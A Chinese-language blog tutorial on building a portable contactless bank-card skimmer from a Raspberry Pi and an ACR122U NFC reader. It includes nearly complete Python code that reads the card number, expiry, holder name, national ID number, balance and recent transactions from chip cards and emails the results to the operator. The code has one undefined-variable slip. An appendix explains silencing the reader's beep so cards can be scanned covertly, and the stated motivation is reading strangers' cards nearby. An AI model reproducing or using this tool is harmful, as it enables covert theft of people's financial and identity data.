背景:半年前,我从网上看到一个视频,讲的大概是一个人站在了一个人的旁边,待了几秒,然后就知道了那个人的银行卡信息了,而且不仅是银行卡信息,甚至连持卡人的姓名,身份证号都有。我看完之后,当时就惊呆了。现在的人都这么牛了吗?于是不假思索的也从网上买了一个一模一样的NFC读卡器,幻想着自己也可以这么厉害。可是货一到,热情就没了,因为当时以为很简单,哪知研究了一下竟不知从哪下手。不过好在也没浪费,拿着它配了个钥匙。就这样一晃半年过去了……最近我又看到了这个NFC读卡器,然后还找到了自己大学时期买的树莓派,心想着,是不是可以结合一下。最终功夫不负有心人,花了好几天的时间,终于把它们拼起来了!
设备:充电宝(5v输出)、树莓派(3代)、NFC读卡器(ACR122U-A9)、手机(具备热点功能)
语言:python3
流程:大概就是用充电宝充当树莓派的电源,然后把NFC读卡器连接到树莓派,并在树莓派里面执行读取银行卡的程序,读取到银行卡信息后树莓派通过手机开的热点网络将银行卡信息发送到自己的邮箱,于是手机上就能看到银行卡相关信息了。
难点:主要是如何通过NFC读卡器,从银行卡里读数据。需要通过读卡器给银行卡发送什么数据,对银行卡返回的数据做怎样的处理。
写代码前准备:虽然看着下面主代码不多,但其实里面要学很多知识,尤其是关于金融集成电路(IC)卡规范里面的内容,当时反反复复看了一个通宵才弄明白了一些。我们在写代码前大致是要先找到NFC读卡器说明文档和银行卡相关规范,了解其工作过程。NFC读卡器发送请求数据给银行卡,然后银行卡响应数据,发送和响应的这些数据都是十六进制表示的,在银行卡规范中均有详细说明。知道了命令之后,就是测试。测试我们用ACR122U读卡器配套的工具(ACR122UTool,可在官网下载,下面资源包中也有)就行,该工具可以发送十六进制命令,然后会显示出响应的十六进制格式的字符串,这个字符串是TLV格式的,直接看看不懂,需要再解析一下,这时便可使用工具EMV TLV查询分析器(下面资源包中已有)。你把得到的字符串直接复制上去,它会给你解析好,这样你看起来就清晰一些了。不过解析出来的依旧是十六进制,这些个十六进制的字符其实是字节串,这时候需要用python给转码一下,转成gb2312(不要问我怎么知道要转成这个格式的,因为我是挨个测试出来的……)就可以看到字母或中文了。最后把这一系列过程用python写出来就行了。
ACR122UTool截图:
将上面的结果复制去空格粘贴到EMV TLV查询分析器中分析:注:最后的'90 00'不要复制,因为这是这个工具的状态信息,9000表示返回成功。
我们看到十六进制字符串已经被解析成一段一段了,每段都有其特殊的意义,我们把其中的value转码成gb2312,就能看到字母或汉字了。
主程序代码:
#coding=utf-8
import sys
import time
import requests
from smartcard.System import readers
from smartcard.util import toHexString, toBytes, HEX, PACK
from search_map import trade_type2str, create_card_info, read_tag, create_identityCard_info
import send_mails
def _card_type(typeStr): #银行卡类型标注
# example: 'PBOC DEBIT' ==> 'PBOC DEBIT(借记卡)'
if typeStr.upper() == 'PBOC DEBIT':
typeStr = typeStr + '(借记卡)'
elif typeStr.upper() == 'PBOC CREDIT':
typeStr = typeStr + '(信用卡)'
return typeStr
def _del20or00(astr): #删除商户名称后边多余字符
# example: 50424F435F4C4556454C32205445535400000000 ==> 50424F435F4C4556454C322054455354
while astr[-2:] == '00' or astr[-2:] == '20':
astr = astr[:-2]
return astr
def _jie_duan1(rawStr): #返回字符串rawStr中'D'以前的字符,即银行卡号
# example: 1111111111111111D191200000000000F ==> 1111111111111111111
return rawStr[:rawStr.find('D')]
def _jie_duan2(rawStr): #返回字符串rawStr中'D'之后的4个字符,即失效日期
# example: 1111111111111111D191200000000000F ==> 1912
return rawStr[rawStr.find('D')+1:rawStr.find('D')+1+4]
def insert_chr(insertStr, intCount=4, intChr=' '): #将银行卡号、日期等做下简单处理,便于观看
# example: 1111111111111111111 ==> 1111 1111 1111 1111 111
# example: 191210 ==> 19/12/10
L = []
for n in range(0,len(insertStr),intCount): #每intCount个字符一个intChr
L.append(insertStr[n:n+intCount])
return intChr.join(L)
def log_analyzing(logStr): #交易日志解析,转为字典,映射表参见<<JRT0025.5-2018 中国金融集成电路(IC)卡规范>>(下简称为JRT0025)第5部分 表45
# example: 16070308461000000002000000000000000001560156494342432041544D000000000000000000000000010051 ==> {'9A': ['交易日期', '160703'], '9F21': ['交易时间', '084610'], '9F02': ['授权金额', '000000020000'], '9F03': ['其他金额', '000000000000'], '9F1A': ['终端国家代码', '0156'], '5F2A': ['交易货币代码', '0156'], '9F4E': ['商户名称', '494342432041544D'], '9C': ['交易类型', '01'], '9F36': ['应用交易计数器(ATC)', '0051']}
log_tlv = {}
log_tlv['9A'] = ['交易日期', logStr[0:6]]
log_tlv['9F21'] = ['交易时间', logStr[6:12]]
log_tlv['9F02'] = ['授权金额', logStr[12:24]]
log_tlv['9F03'] = ['其他金额', logStr[24:36]]
log_tlv['9F1A'] = ['终端国家代码', logStr[36:40]]
log_tlv['5F2A'] = ['交易货币代码', logStr[40:44]]
log_tlv['9F4E'] = ['商户名称', _del20or00(logStr[44:84])]
log_tlv['9C'] = ['交易类型', logStr[84:86]]
log_tlv['9F36'] = ['应用交易计数器(ATC)', logStr[-4:]]
return log_tlv
def hex2gb2312(hexStr): #将十六进制转换为gb2312字符
# example: 494342432041544D ==> ICBC ATM
return bytes(toBytes(hexStr)).decode('gb2312')
def tlv_analyzing(*tlv): #对tlv格式进行解析,详细可参见JRT0025第5部分 附录A 表A.1
tag = read_tag()
newtag = {}
not_tlv2 = ('6F','70','72','73','77','80','A5','90') # 2个字符的模板
not_tlv4 = ('BF0C') # 4个字符的模板
for each_tlv in tlv:
each_tlv_raw = each_tlv
each_tlv = each_tlv + ' '
# print(each_tlv)
while len(each_tlv) != 1: #说明还存在数据,如果为1则值为' '
if each_tlv.startswith(not_tlv2): #检测特殊情况,如果开头是2个字符的模板等
if each_tlv[0:4] == '7081': # 70为模板,以7081开头的一般长度有4位(81xx),所以将7081xx删掉
each_tlv = each_tlv[6:]
elif each_tlv[0:4] == '9081': # 90为证书,暂不处理,直接连数据一起删掉
length = int(each_tlv[4:6], 16)
each_tlv = each_tlv[6+length*2:]
else:
each_tlv = each_tlv[2+2:] #将模板和长度删掉
elif each_tlv.startswith(not_tlv4): #同上
each_tlv = each_tlv[4+2:]
else: #解析TLV
if each_tlv[0:2] in [i for i in tag if len(i) == 2]:
length = int(each_tlv[2:4], 16)
value = each_tlv[4:4+length*2]
tag[each_tlv[0:2]][1] = value
each_tlv = each_tlv[4+length*2:]
elif each_tlv[0:4] in [ j for j in tag if len(j) == 4]:
length = int(each_tlv[4:6], 16)
value = each_tlv[6:6+length*2]
tag[each_tlv[0:4]][1] = value
each_tlv = each_tlv[6+length*2:]
else: #如果解析不了
print('发现未识别的标签:', each_tlv[0:2], 'or', each_tlv[0:4])
print('原始标签:', each_tlv_raw)
print('-' * 50)
break
# print(tag)
return tag
if __name__ == '__main__':
detection = 0 #检测扫描的银行卡是否和刚刚扫描的一致,如果一致则不再扫描,以免出现重复数据
SELECT1 = [0x00,0xA4,0x04,0x00,0x07,0xA0,0x00,0x00,0x03,0x33,0x01,0x01] #选择卡片
SELECT2 = [0x00,0xB2,0x01,0x14,0x00] #银行卡号、生失效日期
SELECT3 = [0x00,0xB2,0x01,0x0C,0x00] #证件号、姓名、证件类型
SELECT4 = [0x80,0xCA,0x9F,0x79,0x00] #读取电子现金余额
while True: #程序持续运行
try: #选择卡片,发送请求数据,获取响应数据
r = readers() #以下代码及说明参见pyscard官方文档
connection = r[0].createConnection()
connection.connect()
data1, sw1, sw2 = connection.transmit(SELECT1)
if data1 == []:
print('扫描到非银行卡')
time.sleep(0.1)
continue
data2, sw1, sw2 = connection.transmit(SELECT2)
if detection == data2: #如果前后数据没变化,则重新扫描卡片
continue
data3, sw1, sw2 = connection.transmit(SELECT3)
data4, sw1, sw2 = connection.transmit(SELECT4)
data5_list = []
for i in range(1,0xB): #先从卡里读数据,后面再处理
SELECT5 = [0x00,0xB2,i,0x5C,0x00] #前 i 条交易日志
data5, sw1, sw2 = connection.transmit(SELECT5)
if data5 == []:
break
else:
data5_list.append(data5)
except:
time.sleep(0.1)
else:
tlv1 = toHexString(data1,PACK)
tlv2 = toHexString(data2,PACK)
tlv3 = toHexString(data3,PACK)
tlv4 = toHexString(data4,PACK)
res = tlv_analyzing(tlv1,tlv2,tlv3,tlv4)
s = ('''
银行卡类型:%(cardtype)s
银行卡号:%(cardnumber)s
银行卡发卡行:%(cardbank)s
银行卡有效期:%(valid)s - %(invalid)s
电子现金余额:%(balance).2f
持卡人姓名:%(name)s
持卡人证件号:%(idcardnumber)s
证件归属地:%(idcardbelong)s
''' % {'cardtype': _card_type(hex2gb2312(res['50'][1])),
'cardnumber': insert_chr(res['5A'][1].rstrip('F')) or insert_chr(_jie_duan1(res['57'][1])),
'cardbank': create_card_info(res['5A'][1].rstrip('F')) or create_card_info(_jie_duan1(res['57'][1])),
'valid': insert_chr(res['5F25'][1],2,'/'),
'invalid': insert_chr(res['5F24'][1],2,'/') or insert_chr(_jie_duan2(res['57'][1]),2,'/'),
'balance': int(res['9F79'][1])/100,
'name': hex2gb2312(res['5F20'][1]),
'idcardnumber': hex2gb2312(res['9F61'][1]),
'idcardbelong': create_identityCard_info(hex2gb2312(res['9F61'][1])) } )
# print(s)
s = s + '\n最近十次交易如下:'
for data5 in data5_list:
tlv5 = toHexString(data5,PACK)
log_tlv = log_analyzing(tlv5)
s = s + (
'''\n\n交易日期 交易时间 授权金额 商户名称 交易类型
%7s %9s %9.2f %15s %12s'''
% (insert_chr(log_tlv['9A'][1],2,'/'),
insert_chr(log_tlv['9F21'][1],2,':'),
int(log_tlv['9F02'][1])/100,
hex2gb2312(log_tlv['9F4E'][1]),
trade_type2str(log_tlv['9C'][1])))
print(s)
send_mails.send('NFC',s.replace('\n','<br>')) #发送邮件
print('*' * 80)
detection = data
执行以上代码前需安装pyscard库:
sudo apt-get install pcscd git python3-setuptools swig gcc libpcsclite-dev python3-dev
sudo echo "install nfc /bin/false" >> /etc/modprobe.d/blacklist.conf
sudo echo "install pn533 /bin/false" >> /etc/modprobe.d/blacklist.conf
cd ~
git clone https://github.com/LudovicRousseau/pyscard.git
cd pyscard
sudo python setup.py build_ext install
reboot
(注:windows用户可直接执行 pip3 install pyscard 安装)
程序及资料: NFC资料代码
后记:其实上面的演示,你只要有个NFC读卡器就行,这个是最重要的,然后我的python程序是在window10上写的,之后放到了树莓派中。所以上面提到的exe文件工具,如果你是苹果电脑打不开,可能得另想办法。然后我最后面写的参考文章你也可以看看,里面有很多东西也是很重要的,不然你可能会看不懂我在说什么。这个NFC读卡器只针对带有芯片的银行卡,纯磁条卡不行。你使用这个信息读取器读取银行卡时,有时候会碰到持卡人姓名,证件号没有的情况,而且其实这种是大多数的情况,这因为银行在建卡时没有把这些数据写入。PBOC3.0目前的规范是不强制录入持卡人信息,据说PBOC4.0就是建议不要录入持卡人信息,而我们现在正处于PBOC3.0到PBOC4.0之间的阶段。
声明:本软件不得用于商业及非法用途,仅做学习交流使用。
参考文章:
使用Python读取银行卡信息 Debian系统pyscard安装 根据银行卡号码获取银行卡归属行以及logo图标 金融tag对应表 [转]android点滴之NFC手机如何轻松读取银行卡信息? PBOC APUD指令学习--SELECT命令 APDU常用指令GSM和USIM 常用APDU指令错误码 JRT0025.5-2018 中国金融集成电路(IC)卡规范 第5部分:借记贷记应用卡片规范 使用NFC读卡器ACR122u读取银行卡信息 pyscard库官方文档 TLV 格式及编解码
附A:如何关闭ACR122U读卡器刷卡蜂鸣声。有时候我们想神不知鬼不觉的扫一下银行卡,所以我们得把这个声音关掉。
(另:如需恢复声音,执行FF0052FF00即可。)
(注:以上内容可参考文档API-ACR122U-CN-2.04.pdf,上文资料里已包含。)